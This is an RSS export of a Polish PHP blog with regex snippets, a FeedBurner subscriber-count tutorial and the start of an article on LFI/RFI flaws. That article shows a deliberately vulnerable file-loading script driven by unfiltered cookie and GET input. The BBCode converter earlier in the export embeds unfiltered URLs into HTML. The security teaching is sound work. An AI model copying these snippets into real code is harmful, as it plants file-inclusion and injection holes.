<h3>Działanie:</h3>
<p>[i]pochylenie[/i] -> <em>pochylenie</em></p>
<h3>Uwagi:</h3>
<p>W komercyjnych projektach należy skorzystać z bardziej zaawansowanych klas do obsługi tego problemu. Pozwoli to uniknąć np. problemu z nieprawidłowym zagnieżdżeniem kilku tagów BBCode w sobie.</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">function bbcode2html($code) {
	$search = array(
        '/\[b\](.*?)\[\/b\]/Dius',
        '/\[i\](.*?)\[\/i\]/Dius',
        '/\[u\](.*?)\[\/u\]/Dius',
        '/\[s\](.*?)\[\/s\]/Dius',
        '/\[img\=(.*?)\](.*?)\[\/img\]/Dius',
        '/\[img\](.*?)\[\/img\]/Dius',
        '/\[url\](.*?)\[\/url\]/Dius',
        '/\[url\=(.*?)\](.*?)\[\/url\]/Dius',
        '/\[color\=(#?([a-f0-9]{6}|[a-f0-9]{3}))\](.*?)\[\/color\]/Dius',
        '/\[size\=([1-9]{1}[0-9]{0,2})(px|pt|em)\](.*?)\[\/size\]/Dius',
    	'/\[font\=([a-z0-9\s&quot;]+)\](.*?)\[\/font\]/Dius',
    );

	$replace = array(
        '&lt;strong&gt;\\1&lt;/strong&gt;',
        '&lt;em&gt;\\1&lt;/em&gt;',
        '&lt;span style=&quot;text-decoration: underline;&quot;&gt;\\1&lt;/u&gt;',
        '&lt;strike&gt;\\1&lt;/strike&gt;',
        '&lt;img src=&quot;\\2&quot; alt=&quot;\\1&quot; /&gt;',
        '&lt;img src=&quot;\\1&quot; alt=&quot;&quot; /&gt;',
        '&lt;a href=&quot;\\1&quot;&gt;\\1&lt;/a&gt;',
        '&lt;a href=&quot;\\1&quot;&gt;\\2&lt;/a&gt;',
        '&lt;span style=&quot;color: \\1;&quot;&gt;\\2&lt;/span&gt;',
        '&lt;span style=&quot;font-size: \\1\\2;&quot;&gt;\\3&lt;/span&gt;',
    	'&lt;span style=&quot;font-family: \\1;&quot;&gt;\\2&lt;/span&gt;'
    );

	return preg_replace($search, $replace, $code);
}</pre>
<h2>14. Sprawdzenie poprawności wprowadzonego kodu pocztowego</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/^[0-9]{2}-?[0-9]{3}$/Du</pre>
<h3>Opis:</h3>
<p>Testowanie poprawności wpisanego kodu pocztowego (w formacie używanym w Polsce). Dozwolone są wersje z myślnikiem pomiędzy drugą i trzecią cyfrą, oraz bez niego.</p>
<h3>Strona testowa:</h3>
<p>Brak.</p>
<h3>Tekst spełniający warunki:</h3>
<p>62-150</p>
<h3>Tekst nie spełniający warunków:</h3>
<p>611-10</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$postcode = '61-610';
if ( !preg_match('/^[0-9]{2}-?[0-9]{3}$/Du', $postcode) )
{
	print 'Nieprawidłowy kod pocztowy';
}</pre>
<h2>15. Operowanie na znacznikach XML/XHTML</h2>
<h3>Wzorzec:</h3>
<pre class="brush: plain; title: ;">/&lt;([a-z]+)([\s]{1}[^=]+[=]{1}[^&lt;]+)*(?:&gt;(.*)&lt;\/\1&gt;|\s+\/&gt;)/u</pre>
<h3>Opis:</h3>
<p>Sprawdzenie znaczników XML/XHTML oraz pobranie treści znajdującej się pomiędzy nimi.</p>
<h3>Strona testowa:</h3>
<p>Brak.</p>
<h3>Rozwiązanie oparte o wyrażenie regularne:</h3>
<pre class="brush: php; title: ;">$tag = '&lt;a href=&quot;http://m1chu.eu/&quot; title=&quot;m1chu.eu - another devblog&quot;&gt;m1chu.eu&lt;/a&gt; - &lt;strong&gt;another devblog&lt;/strong&gt;';
if ( !preg_match_all('/&lt;([a-z]+)([\s]{1}[^=]+[=]{1}[^&lt;]+)*(?:&gt;(.*)&lt;\/\1&gt;|\s+\/&gt;)/u', $tag, $matches, PREG_PATTERN_ORDER) )
{
	print 'Nieprawidłowa konstrukcja znacznika';
}
else {
	print_r($matches); // print_r($matches[3]) - lista treści zawieranych w tagach
}</pre>
<h2>Słowem zakończenia</h2>
<p>Starałem się jak najdokładniej sprawdzić powyższe wzorce. Nie mniej jednak, jak to zwykle bywa, mogą się w nich znaleźć błędy. Jeżeli ktoś takowe znajdzie, ma jakieś pytania, czy lepsze propozycje to proszę o komentarze pod wpisem.</p>
<p>Jak wspomniałem na wstępie, uruchomiłem serwis pozwalający na sprawdzanie wyrażeń regularnych względem podanego tekstu. Jest on aktualnie w fazie testów, więc mogą występować błędy w jego działaniu. Po zakończeniu wprowadzania poprawek baza wpisów zostanie wyczyszczona do zera. Można go testować, a w przyszłości korzystać pod dwoma adresami:</p>
<ol>
<li><a target="_blank" href="http://regexp.pl/"  title="regexp.pl - tester wyrażeń regularnych"><strong>regexp.pl</strong></a> (adres główny)</li>
<li><a href="http://regexp.m1chu.eu/"  title="regexp.pl - tester wyrażeń regularnych"><strong>regexp.m1chu.eu</strong></a> (adres alternatywny)</li>
</ol>
<p>Pod względem danych sesyjnych obydwa adresy działają niezależnie. <strong>Zapraszam do testowania i wyrażania swojego zdania na moim blogu, w komentarzach tego artykułu.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://m1chu.eu/2009/10/13/15-przydatnych-wyrazen-regularnych-w-php/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Jak wyizolować liczbę subskrybentów RSS korzystając z FeedBurner&#8217;a?</title>
		<link>http://m1chu.eu/2009/02/15/jak-wyizolowac-liczbe-subskrybentow-rss-korzystajac-z-feedburnera/</link>
		<comments>http://m1chu.eu/2009/02/15/jak-wyizolowac-liczbe-subskrybentow-rss-korzystajac-z-feedburnera/#comments</comments>
		<pubDate>Sun, 15 Feb 2009 12:55:53 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webhosting]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[easy feed counter]]></category>
		<category><![CDATA[feedburner]]></category>
		<category><![CDATA[feedcount]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[repozytorium]]></category>
		<category><![CDATA[simplexmlelement]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://m1chu.eu/?p=1237</guid>
		<description><![CDATA[W niezbędniku prawie każdego blogera leży możliwość menadżerowania swoimi kanałami RSS, bądź Atom. Któż z nas nie zna FeedBurner&#8217;a?. Zestawu narzędzi ułatwiających nam, czy to udostępnianie użytkownikom możliwości subskrypcji treści naszej strony, czy po prostu możliwość przejrzenia lub zamieszczenia statystyk w naszym serwisie. Pomimo dostarczonego API nie znajdziemy jednak bezpośrednio w panelu FeedBurner&#8217;a kodu pozwalającego [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="iborder" src="http://farm4.static.flickr.com/3316/3276810158_fd2d4b8829_o.png" alt="Pobieramy liczbę subskrybentów RSS poprzez FeedBurner" style="height: 119px;" /></p>
<p>W niezbędniku prawie każdego blogera leży możliwość menadżerowania swoimi kanałami RSS, bądź Atom. Któż z nas nie zna <strong>FeedBurner&#8217;a</strong>?. Zestawu narzędzi ułatwiających nam, czy to udostępnianie użytkownikom możliwości subskrypcji treści naszej strony, czy po prostu możliwość przejrzenia lub zamieszczenia statystyk w naszym serwisie. Pomimo dostarczonego API nie znajdziemy jednak bezpośrednio w panelu <strong>FeedBurner&#8217;a</strong> kodu pozwalającego na umieszczenie samej liczby subskrybentów bloga. I rozwiązanie tego, pozornie błahego problemu postaram się Wam dziś przedstawić&#8230;<br />
<span id="more-1237"></span></p>
<h2>Stary, dobry FeedBurner.com&#8230;</h2>
<p>Niespełna dwa lata temu słynny serwis zajmujący się obsługą kanałów RSS został przejęty za sto milionów dolarów przez <strong>Google</strong>. Pomimo tego, że minęło aż tyle czasu wielu blogerów nadal korzysta z zasobów starego, wysłużonego, pierwotnego FeedBurner&#8217;a. I co może wydawać się dziwne, to właśnie oni mają najbardziej ułatwioną sytuację.</p>
<p>Zarówno stara, jak i nowa odsłona serwisu oferują usługę <strong>FeedCount</strong> dostępną z poziomu menu <strong>Publicize</strong>. Pozwala ona na dobranie typu wbudowanego tła wyświetlającego ilość subskrybentów (statyczne, bądź animowane) oraz na dobranie jego barwy i koloru tekstu. Wraz z ustawieniem tych parametrów otrzymujemy kod HTML do wstawienia na naszą stronę. I tu rodzi się problem. Prócz kilku stylistycznych zmian wygląd tychże &#8222;chickletów&#8221; jest zawsze taki sam i najczęściej nijak pasuje do designu naszego bloga. Co zrobić jeżeli np. chcemy wraz z tekstem przycisku odnoszącego użytkowników do wygenerowanego kanału wstawić także ilość osób śledzących naszą stronę?</p>
<p>Rozwiązanie zaprezentuje na podstawie użytkowania platformy <a target="_blank" href="http://wordpress.org/"  title="Wordpress">WordPress</a> (oczywiście ilość subskrybentów &#8211; opierając się na dalszym tekście &#8211; można zamieścić w każdym innym systemie zarządzania treścią, bądź nawet na własnej, prywatnej stronie). W takim wypadku wystarczy zainteresować się wtyczkami <a target="_blank" href="http://utnij.eu/5b5/"  title="FeedBurner FeedSmith 2.3">FeedSmith 2.3</a> (<a target="_blank" href="http://utnij.eu/632cd7/"  title="FeedBurner FeedSmith 2.3 PL">polska wersja</a>) (wg. developerów WordPress&#8217;a kompatybilną ze wszystkimi wersjami 2.x) i <a target="_blank" href="http://utnij.eu/feed-count-plugin/"  title="Feed Count 1.2">Feed Count 1.2</a> (<a target="_blank" href="http://utnij.eu/776e/"  title="Feed Count 1.2 PL">polska wersja</a>). Pierwsza z nich niezbędna jest do obsługi kanału RSS przez serwis FeedBurner. </p>
<p>Jej instalacja oraz rejestracja w serwisie jest niezbędna do działania drugiej z nich. Jak wykonuje się instalacje wtyczek? Wystarczy wyodrębnić z archiwum odpowiednie pliki (w naszym pierwszym przypadku będzie to <strong>FeedBurner_FeedSmith_Plugin.php</strong>, w drugim <strong>feedcount.php</strong>) i umieścić je w katalogu <strong>wp-content/plugins/</strong> systemu WordPress. Następnie wtyczki należy zaktywować w panelu administratora (<strong>Wtyczki / Nazwa wtyczki / Włącz</strong>).</p>
<p>Obydwa pluginy należy dodatkowo skonfigurować w zakładce <strong>Ustawienia</strong>. Pierwszy z nich swoje opcje ukrywa w podmenu <strong>FeedBurner</strong>. Zobaczycie tam dwa pola do uzupełnienia, jedno wymagane, drugie opcjonalne. Pierwsze z nich to pełny odnośnik do feedu strony w serwisie FeedBurner (i dla starej odsłony, i dla nowej na serwerach Google), a drugi to link do kanału RSS komentarzy.</p>
<p style="text-align: center; font-size: 10px;"><img class="iborder" src="http://farm4.static.flickr.com/3325/3278708424_d49400bae8_o.png" alt="Konfiguracja wtyczki FeedSmith w panelu" style="height: 280px;" /><br />Konfiguracja wtyczki FeedSmith w panelu.</p>
<p>Co do drugiego rozszerzenia to działa ono dla wersji <strong>2.x</strong> WordPress&#8217;a, z tymże przy najnowszej <strong>2.7x</strong> może sprawiać problemy natury zwracania wyniku w postaci <strong>N/A</strong> zamiast poprawnej wartości.</p>
<p style="text-align: center; font-size: 10px;"><img class="iborder" src="http://farm4.static.flickr.com/3447/3277035819_12a3295a07_o.png" alt="Konfiguracja wtyczki Feed Count w panelu" style="height: 280px;" /><br />Konfiguracja wtyczki Feed Count w panelu.</p>
<p>Rozszerzenie to także należy dodatkowo skonfigurować. Robimy to w panelu poprzez menu <strong>Ustawienia / Feed Count</strong>. W jej opcjach trzeba podać co najmniej adres kanału (<em>Feed Url</em>) w postaci nazwy kanału na <strong>FeedBurner&#8217;ze</strong>, częstość aktualizowania ilości subskrybentów (<em>Update interval</em>) oraz częstość aktualizacji po wystąpieniu błędu (<em>Update interval (recovery)</em>). Pozostałe pola nie są wymagane. <em>Link url</em> to adres odnośnika pojawiającego się na zwróconej przez skrypt ilości osób śledzących stronę. <em>Before</em> za to jest treścią pojawiającą się przed liczbą w.w. użytkowników, a <em>After</em> to treść po.</p>
<p>Po wykonaniu konfiguracji należy jeszcze w strukturze szablonu strony dodać odpowiedni kod.</p>
<pre class="brush: php; title: ;">&lt;?php if (function_exists('fc_feedcount')) fc_feedcount(); ?&gt;</pre>
<p>Wstawić go musimy w miejscu w którym chcemy wyświetlać wystylizowaną liczbę użytkowników RSS (plugin ten nie zwraca tylko liczby otaczając ją poprzez dodatkowe tagi HTML). Oczywiście możemy go modyfikować. Jeżeli chcielibyście np. wyświetlić go w odnośniku (w <strong>header.php</strong>) o nazwie <strong>RSS</strong> w dodatkowych nawiasach to możecie to zrobić w następujący sposób:</p>
<pre class="brush: php; title: ;">&lt;?php
if (function_exists('fc_feedcount'))
{
	print ' (' . fc_feedcount() . ')';
}
?&gt;</pre>
<p>No i ostatecznie musicie w panelu <strong>FeedBurner&#8217;a</strong> (nie wtyczki, a profilu w serwisie w którym zakładaliście konto) zezwolić wtyczce na działanie z API tegoż serwisu. Wystarczy wejść do zakładki <strong>Publicize</strong>, a następnie do menu <strong>Awareness API</strong> i zaktywować tą funkcjonalność.</p>
<h2>Wtyczka Feed Count 1.2 dla Google FeedBurner!</h2>
<p>Jeżeli zdecydowaliście się jednak na migracje z starych serwerów serwisu, na ultraszybkie i megafajne klastry Google, a wcześniej trafnie stosowaliście w.w. metodę do wyodrębniania liczby użytkowników to prawdopodobnie będzie ona także działać po przejściu na <a target="_blank" href="http://feedburner.google.com/"  title="Google FeedBurner">feedburner.google.com</a>.</p>
<p>Trzeba jednak w takim wypadku dokonać pewnych, małych zmian w kodzie wyżej opisywanej wtyczki <strong>Feed Count</strong>. W tym celu edytujemy plik <strong>feedcount.php</strong> (np. poprzez <strong>Notepad++</strong> lub <strong>ZendStudio</strong>). Przechodzimy w okolice <strong>41</strong> linii w celu odnalezienia następującego kodu.</p>
<pre class="brush: php; title: ;">		  'map_fc_queryurl' =&gt;'http://api.feedburner.com/awareness/1.0/GetFeedData?uri=',</pre>
<p>Co można zauważyć element tablicy o nazwie przed <code>=></code> wskazuje na adres dostępowy do API, ale <em>feedburner.com</em>. A my przecież chcemy korzystać już z API Google. W tym celu należy tą linijkę zmienić niżej wymienionym kodem, po czym zapisać plik i ponownie wysłać go na serwer.</p>
<pre class="brush: php; title: ;">		  'map_fc_queryurl' =&gt;'https://feedburner.google.com/api/awareness/1.0/GetFeedData?uri=',</pre>
<h2>C&#8230; bombki strzelił! Jedyne co otrzymuje w wyniku to ten niewdzięczny &#8222;N/A&#8221;&#8230;</h2>
<p>Po pierwsze musicie sprawdzić czy biblioteka <a target="_blank" href="http://utnij.eu/curl-wiki/"  title="cURL Wiki">cURL (Client URL Library Functions)</a> jest dostępna w konfiguracjach Waszych serwerów (jako pakiet PHP). W tym celu wystarczy stworzyć jakikolwiek plik o rozszerzeniu <strong>.php</strong>, wypełnić go poniższym kodem i wywołać na hipotetycznie problematycznym serwerze.</p>
<pre class="brush: php; title: ;">&lt;?php
phpinfo();
?&gt;</pre>
<p>W wylistowanych wynikach wystarczy poszukać wpisu <strong>cURL support</strong> i sprawdzić, czy jego flaga ustawiona jest na <strong>enabled</strong>. Jeżeli nie, to właśnie znaleźliście przyczynę problemu. Powyższa, kluczowa dla nas wtyczka oparta jest na tym libie, a co za tym idzie jego brak powoduje niemożność poprawnego wykonania kodu tego rozszerzenia.</p>
<h2>Diagnoza problemu: cURL&#8230;</h2>
<p>Kiedy zawodzą dostępne już rozwiązania najlepszym sposobem na pozbycie się własnego problemu jest&#8230; napisanie indywidualnej solucji. Niestety to wiążę się najczęściej z jedną z dwóch rzeczy. Albo z posiadaniem konkretnej wiedzy odnośnie danego problemu, albo z wydatkiem związanym z opłaceniem osoby która rozwiąże Waszą dolegliwość.</p>
<p>Jeżeli dotarliście do tego punktu tzn. że nadal nie uzyskaliście pożądanego efektu. Pora więc właśnie na w.w. sposób, z tymże ja dla Was przygotuję go w stu procentach&#8230; za friko :] Mógłbym Wam zaprezentować kilkulinijkowy sposób, bo praktycznie do tego ogranicza się rozwiązanie &#8211; pytanie po co? Blog ten ma uczyć, dlatego postaram się Wam przedstawić dwie metody pobierania potrzebnych nam danych które po lekkim tuningu złożą się w jedną, w pełni funkcjonalną wtyczkę napisaną specjalnie na potrzeby tego artykułu. I w gruncie rzeczy będzie to najbardziej optymalne rozwiązanie ze wszystkich tutaj przedstawionych&#8230;</p>
<p>Przypadek numer jeden: <strong>brak możności użytkowania cURL&#8217;a</strong>. Jak to w życiu bywa, jak nie da wejść się jednym oknem, trzeba próbować drugim. Sposobów jest wiele, ja wybiorę użycie funkcji <a target="_blank" href="http://pl.php.net/file_get_contents"  title="file_get_contents - php.net">file_get_contents</a>. Zaimplementowana jest ona w PHP od wersji <strong>4.3</strong> i dodatkowo do jej działania konfiguracja serwera musi zezwalać na zdalne (z zewnętrznych źródeł) pobieranie plików. Trik który zastosujemy ogranicza się kolejno do:</p>
<ul>
<li>pobrania danych z adresu FeedBurner&#8217;a korzystając z udostępnionego przez niego API,</li>
<li>sprawdzenia czy odebrane dane są poprawne (pod kątem poprawności adresu i ewentualnych wyjątków),</li>
<li>wyszukanie frazy <code>circulation="</code> w posiadanym buforze. Kod który pobraliśmy wcześniej <strong>musi</strong> być w formacie XML, a co za tym idzie składa się on ze znaczników i parametrów. Właśnie parametr <code>circulation</code> zawiera w sobie wartość będącą ilością subskrybentów,</li>
<li>jeżeli fraza nie zostanie znaleziona, zwrócenie błędu,</li>
<li>w przeciwnym razie pobranie ciągu od pozycji wyszukiwanej wyżej frazy + 13 znaków (długość szukanego słowa), aż do znalezienia następnego cudzysłowia (bez niego).</li>
</ul>
<pre class="brush: php; title: ;">&lt;?php
$buffer = file_get_contents(ADRES_SERWER . NAZWA_KANALU); // pobranie pliku
if ( $buffer === false ) // zwrócenie błędu
{
	print 'n/d';
}

$pre_position = strpos($buffer, 'circulation=&quot;'); // wyszukanie pozycji frazy z drugiego argumentu
if ( $pre_position === false ) // w wypadku nieodnalezienia zwrócenie błędu (niepoprawny plik)
{
	print 'n/d';
}
else {
	print substr($buffer, ($pre_position+13), strpos($buffer, '&quot;', ($pre_position+14)) - ($pre_position+13)); // &quot;wypisanie na ekran&quot; zawartości parametru &quot;circulation&quot; z pobranego pliku XML
}
?&gt;</pre>
<h2>Kiedy problemem nie jest jednak cURL&#8230;</h2>
<div class="explain"><code>SimpleXMLElement</code> &#8211; klasa rozszerzenia <code>SimpleXML</code> dostarczająca prosty zestaw narzędzi do konwersji XML na obiekt na którym można operować poprzez użycie selektorów.</p>
<p>Przykład:</p>
<pre class="brush: xml; title: ;">&lt;parent&gt;
	&lt;children&gt;raz&lt;/children&gt;
	&lt;children&gt;dwa&lt;/children&gt;
&lt;/parent&gt;</pre>
<pre class="brush: php; title: ;">$xml = new SimpleXMLElement(XML);
$found = $xml-&gt;xpath('parent/children'); // wyszukiwanie potomka w drzewie dokumentu XML (argument w postaci np. rodzic/potomek/potomek_potomka/itp.)
print_r($found); // wypisanie tablicy wyników</pre>
</div>
<p>Plugin <strong>FeedCount</strong> nie zawsze działa na WordPress&#8217;ie <strong>2.7x</strong>. Nie pytajcie dlaczego. Szczerze? Nie wiem i nie chciało mi się dociekać co jest tego powodem. Postanowiłem jakiś czas temu spotykając się z tą przypadłością po prostu stworzyć bardziej uproszczony kod, niż ten z popularnej wtyczki. Jak wygląda jego schemat krokowy? Po kolei:</p>
<ul>
<li>inicjalizacja cURL,</li>
<li>ustawienie opcji transferu biblioteki (zwracanie zawartości bez wypisywania jej na ekran oraz wprowadzenie adresu docelowego),</li>
<li>wykonanie zadania, po czym zniszczenie sesji połączenia,</li>
<li>sprawdzenie, czy nie występuje znacznik nadrzędny <code>err</code> z parametrem <code>code</code> o wartości <strong>1</strong> (oznaka zwrócenia błędu, najczęściej nieodnalezienia pliku),</li>
<li>jeżeli powyższy punkt nie okaże się prawdą to utworzenie obiektu <a target="_blank" href="http://pl.php.net/simplexml"  title="SimpleXML - php.net"><code>SimpleXMLElement</code></a> i wyszukanie zawartości wyżej już wspomnianego atrybutu <code>circulation</code>.</li>
</ul>
<pre class="brush: php; title: ;">&lt;?php
$resource = curl_init(); // inicjalizacja
curl_setopt($resource, CURLOPT_RETURNTRANSFER, 1); // bez wypisania na ekran
curl_setopt($resource, CURLOPT_URL, ADRES_SERWER . NAZWA_KANALU); // przekazanie adresu do pobrania
$buffer = curl_exec($resource); // wykonanie
curl_close($resource); // zamknięcie sesji

$xml = new SimpleXMLElement($buffer); // obiekt analizy składni XML
if ( $xml-&gt;err['code'] == '1' ) // sprawdzenie wystąpienia błędu
{
	print 'n/d';
}
print $xml-&gt;feed-&gt;entry['circulation']; // pobranie ilości subskrybentów
?&gt;</pre>
<p>Aby bardziej wyjaśnić działanie powyższej partii kodu posłużę się przykładowymi danymi, jakie mogą zostać pobrane.</p>
<pre class="brush: xml; title: ;">&lt;rsp stat=&quot;ok&quot;&gt;
  &lt;!--This information is part of the FeedBurner Awareness API. If you want to hide this information, you may do so via your FeedBurner Account.--&gt;
  &lt;feed id=&quot;0ua2berteje16lsipgq0b8uk74&quot; uri=&quot;worldclub-pl&quot;&gt;
    &lt;entry date=&quot;2009-02-13&quot; circulation=&quot;1&quot; hits=&quot;2&quot; downloads=&quot;0&quot; reach=&quot;0&quot; /&gt;
  &lt;/feed&gt;
&lt;/rsp&gt;</pre>
<p>Można z niego wywnioskować, że odpowiednio operując na klasie <code>SimpleXMLElement</code> moglibyśmy uzyskać identyfikator konta, jego część adresu zwaną w tym artykule po prostu nazwą, datę utworzenia, ilość osób śledzących RSS&#8217;a, liczbę kliknięć oraz ściągnięć. Działanie powyższej klasy jest proste. Z kodu XML tworzymy obiekt po którym możemy przesuwać się za pomocą zwyczajnych selektorów. Przykładowo jeżeli chcielibyśmy wyłuskać z powyższego przykładu identyfikator (<code>id</code>) zrobilibyśmy to w następujący sposób:</p>
<pre class="brush: php; title: ;">print $xml-&gt;feed['id'];</pre>
<p>Pierwszy, główny element <code>rsp</code> jest pomijany w instancji obiektu.</p>
<p style="text-align: center; font-size: 10px;"><img class="iborder" src="http://farm4.static.flickr.com/3601/3279482457_2255ac2de9_o.png" alt="Zasada działania SimpleXMLElement na podstawie kodu pobierania liczby subskrybentów" style="height: 230px;" /><br />Zasada działania SimpleXMLElement na podstawie kodu pobierania liczby subskrybentów.</p>
<h2>Autorska wtyczka finalnym rozwiązaniem naszego problemu!</h2>
<p>I tak oto dochodząc do meritum przedstawiam Wam rozszerzenie uproszczone, ale za to bardziej wzbogacone o trzy, moim zdaniem niezbędne funkcjonalności. <a href="http://dev.m1chu.eu/index.php?title=Easy_Feed_Counter"  title="Easy Feed Counter"><strong>Easy Feed Counter</strong></a> posiada możliwość łatwej instalacji i konfiguracji poprzez panel administratora. Proces wdrażania tego pluginu jest adekwatny do dodawania opisywanego wcześniej <strong>FeedCount</strong> (jest także dokładnie opisany w linku powyżej w repozytorium modyfikacji). Pozwala on na ustawienie serwera feedów, metody pobierania statystyk oraz wpisanie nazwy konta kanału RSS na FeedBurner&#8217;ze. Opcjonalnie możecie także dodać konto komentarzy na tym serwisie, o ile takowe posiadacie.</p>
<p style="text-align: center; font-size: 10px;"><img class="iborder" src="http://farm4.static.flickr.com/3302/3279600765_6edbcf3db2_o.png" alt="Rezultaty działania wtyczki" style="height: 171px;" /><br />Rezultaty działania wtyczki.</p>
<p>Rozwiązanie to ma także jeden wielki, dodatkowy atut. Nie formatuje jak inne pluginy zwracanej treści, a ogranicza się do podania wartości (liczby użytkowników), bądź kodu błędu (<strong>n/d</strong>). To pozwala na szersze modyfikacje położenia bądź wyglądu wyników po wywołaniu funkcji <code>easyfeedcounter_get([opcjonalny: parametr])</code> bez dodatkowej ingerencji w sam kod rozszerzenia.</p>
<pre class="brush: php; title: ;">&lt;?php
if (function_exists('easyfeedcounter_get'))
{
	$subscribers = easyfeedcounter_get(1); // argument o wartości 1 wskazuje wtyczce, że ma zwrócić dane dotyczące komentarzy
	if ( is_numeric($subscribers) !== false ) // brak błędów
	{
		print $subscribers . ' osób subskrybuje aktualnie Twoje komentarze!';
	}
}
?&gt;</pre>
<p>Bardziej skrupulatne objaśnienie, opisane krok po kroku znajdziecie w moim <a href="http://dev.m1chu.eu/index.php?title=Easy_Feed_Counter"  title="Easy Feed Counter">repozytorium</a>. W przypadku wątpliwości dotyczących tematu, bądź instalacji tego tworu proszę śmiało pytać :]</p>
]]></content:encoded>
			<wfw:commentRss>http://m1chu.eu/2009/02/15/jak-wyizolowac-liczbe-subskrybentow-rss-korzystajac-z-feedburnera/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Jak zabezpieczyć skrypt PHP/MySQL? Część 2: luki Local File Include (LFI) i Remote File Include (RFI)</title>
		<link>http://m1chu.eu/2008/10/19/jak-zabezpieczyc-skrypt-php-czesc-2-luki-local-file-include-lfi-i-remote-file-include-rfi/</link>
		<comments>http://m1chu.eu/2008/10/19/jak-zabezpieczyc-skrypt-php-czesc-2-luki-local-file-include-lfi-i-remote-file-include-rfi/#comments</comments>
		<pubDate>Sat, 18 Oct 2008 23:23:05 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webhosting]]></category>
		<category><![CDATA[directory traversal]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[luka]]></category>
		<category><![CDATA[poison null byte]]></category>
		<category><![CDATA[rfi]]></category>

		<guid isPermaLink="false">http://m1chu.eu/?p=134</guid>
		<description><![CDATA[Praktycznie każdy dynamicznie generowany system oparty o rozwiązania dostępne w celu tworzenia aplikacji internetowych działa na zestawie katalogów, a skrupulatniej pisząc także podkatalogów. Operowanie na nich, np. w celu wczytania danego języka czy plików szablonów poprzez użycie danych pochodzących od użytkownika może być przyczyną niemałego problemu. Local File Include, Remote File Include, czy Directory Traversal [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="iborder" src="http://farm4.static.flickr.com/3252/2953850569_0e75fbc1c7_o.png" alt="Luki LFI i RFI" /></p>
<p>Praktycznie każdy dynamicznie generowany system oparty o rozwiązania dostępne w celu tworzenia aplikacji internetowych działa na zestawie katalogów, a skrupulatniej pisząc także podkatalogów. Operowanie na nich, np. w celu wczytania danego języka czy plików szablonów poprzez użycie danych pochodzących od użytkownika może być przyczyną niemałego problemu. <strong>Local File Include</strong>, <strong>Remote File Include</strong>, czy <strong>Directory Traversal</strong> to fachowe nazwy błędów na które przez niedostateczne zabezpieczenie skryptu możemy być narażeni.</p>
<p><span id="more-134"></span></p>
<h2>Zarys teoretyczny&#8230;</h2>
<p>Obydwa typy ataków (zwane razem po prostu <strong>Include File Injection</strong>) są przykładami ogólnie rozumianego <strong>Code Injection</strong>, czyli wstrzykiwania niedozwolonego kodu. Prócz nich do grupy tego typu luk należą m.in. <strong>PHP/ASP Injection</strong>, <strong>SQL Injection</strong>, czy <strong>Shell Injection</strong> które dokładniej przedstawię w kolejnych artykułach o zabezpieczeniach.</p>
<p>O czym zaraz będziecie mogli się przekonać, na pierwszy rzut oka ataki te są podobne do opisywanej już przeze mnie <a href="http://m1chu.eu/zycie/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd" title="Arbitrary File Download" ><strong>luki AFD</strong></a>, a wszystko przez fakt możliwości wykorzystania błędu poprzez specyficzne dane wprowadzane przez użytkownika. Ich stopień niebezpieczeństwa można wyrazić przez prosty fakt, że nie tylko zagrażają one danemu, podatnemu na nie serwisowi, ale także w niektórych przypadkach całemu serwerowi. Dzieje się tak z powodu możliwości załadowania dowolnego pliku na serwerze ofiary, bądź w zależności od konfiguracji serwera także pliku z serwerów zewnętrznych poprzez dziurawy skrypt.</p>
<p style="text-align: center;"><a target="_blank" href="http://farm4.static.flickr.com/3194/2952290071_17550ed8f3_o.png" class="lightbox" title="Przykładowe LFI na /etc/passwd" ><img src="http://farm4.static.flickr.com/3194/2952290071_995c47c7f5.jpg" alt="Przykładowe LFI na /etc/passwd" /></a></p>
<h2>Przyczyny tworzenia bugów&#8230;</h2>
<p>Obydwa błędy dotyczą funkcji PHP odpowiedzialnych za wczytywanie plików na stronie. Mowa tu np. o <code>include()</code>, <code>include_once()</code>, <code>require()</code>, <code>require_once()</code>, <code>fopen()</code> (a co za tym idzie także <code>fread()</code>), <code>file()</code>, czy <code>file_get_contents()</code>.</p>
<p>Dwa poniższe, teoretyczne przykłady zobrazują Wam jak prosto można stać się ofiarą własnej naiwności, niewiedzy.</p>
<pre class="brush: php; title: ;">&lt;?php
$lang					   = 'polish'; // domyslny jezyk/plik
if ( isset($_COOKIE['language']) ) // gdy jezyk jest juz ustawiony w cookies
{
	$lang				   = $_COOKIE['language']; // nadpisanie $lang wartoscia ustawiona
}
else if ( isset($_GET['set_lang']) ) // gdy przekazujemy w parametrze nowy jezyk
{
	setcookie(&quot;language&quot;, &quot;&quot;, time() - 3600); // usuniecie starego cookie
	setcookie(&quot;language&quot;, $_GET['set_lang'], time() + 3600); // wpisanie nowego jezyka do cookies
	$lang				   = $_GET['set_lang']; // nadpisanie $lang wartoscia
}
$array = file($lang . '.txt'); // wczytanie do tablicy pliku z jezykiem, domyslnie 'polish.txt'
?&gt;</pre>
<p>Kod ten domyślnie mógłby być przez jakiegoś laika używany do zapisywania w cookies języka użytkownika wraz z możliwością jego dynamicznej zmiany poprzez parametr tablicy <strong>GET</strong> skryptu. Niestety brak jakiegokolwiek filtrowania pozwala co lepiej kombinującemu użytkownikowi na manipulowanie i wartością parametru, i zawartością ciasteczka odpowiadającego za przetrzymywanie języka użytkownika.</p>
<p>Przeanalizujmy metodykę działania tego pseudoskryptu:</p>
